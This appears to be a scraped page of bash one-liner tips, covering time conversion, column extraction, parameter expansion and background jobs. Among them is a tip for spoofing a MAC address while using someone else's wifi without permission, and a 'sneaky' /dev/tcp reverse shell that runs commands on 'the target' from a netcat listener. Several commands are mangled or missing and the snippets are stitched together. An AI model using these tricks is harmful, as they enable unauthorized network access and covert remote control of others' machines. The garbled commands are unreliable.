Check These Out
Next time you are leaching off of someone else's wifi use this command before you start your bittorrent ...for legitimate files only of course.
It creates a hexidecimal string using md5sum from the first few lines of /dev/urandom and splices it into the proper MAC address format. Then it changes your MAC and resets your wireless (wlan0:0).
Converts any number of seconds into days, hours, minutes and seconds.
sec2dhms() {
declare -i SS="$1"
D=$(( SS / 86400 ))
H=$(( SS % 86400 / 3600 ))
M=$(( SS % 3600 / 60 ))
S=$(( SS % 60 ))
[ "$D" -gt 0 ] && echo -n "${D}:"
[ "$H" -gt 0 ] && printf "%02g:" "$H"
printf "%02g:%02g\n" "$M" "$S"
}
Create a progress dialog with custom title and text using zenity.
The above is an example of grabbing only the first column. You can define the start and end points specifically by chacater position using the following command:
$ while read l; do echo ${l:10:40}; done < three-column-list.txt > column-c10-c40.txt
Of course, it doesn't have to be a column, or extraction, it can be replacement
$ while read l; do echo ${l/foo/bar}; done < list-with-foo.txt > list-with-bar.txt
Read more about parameter expansion here:
http://wiki.bash-hackers.org/syntax/pe
Think of this as an alternative to awk or sed for file operations
Continue to execute the command in background even though quitting the shell.
This is sneaky.
First, start a listening service on your box.
$ nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
$ exec 5/dev/tcp//8080;cat &5 >&5; done
You can send it to the background like this:
$ (exec 5/dev/tcp//8080;cat &5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
Optionally, one can use {1..50} instead of seq. E.g. for i in {1..50} ; do echo Iteration $i ; done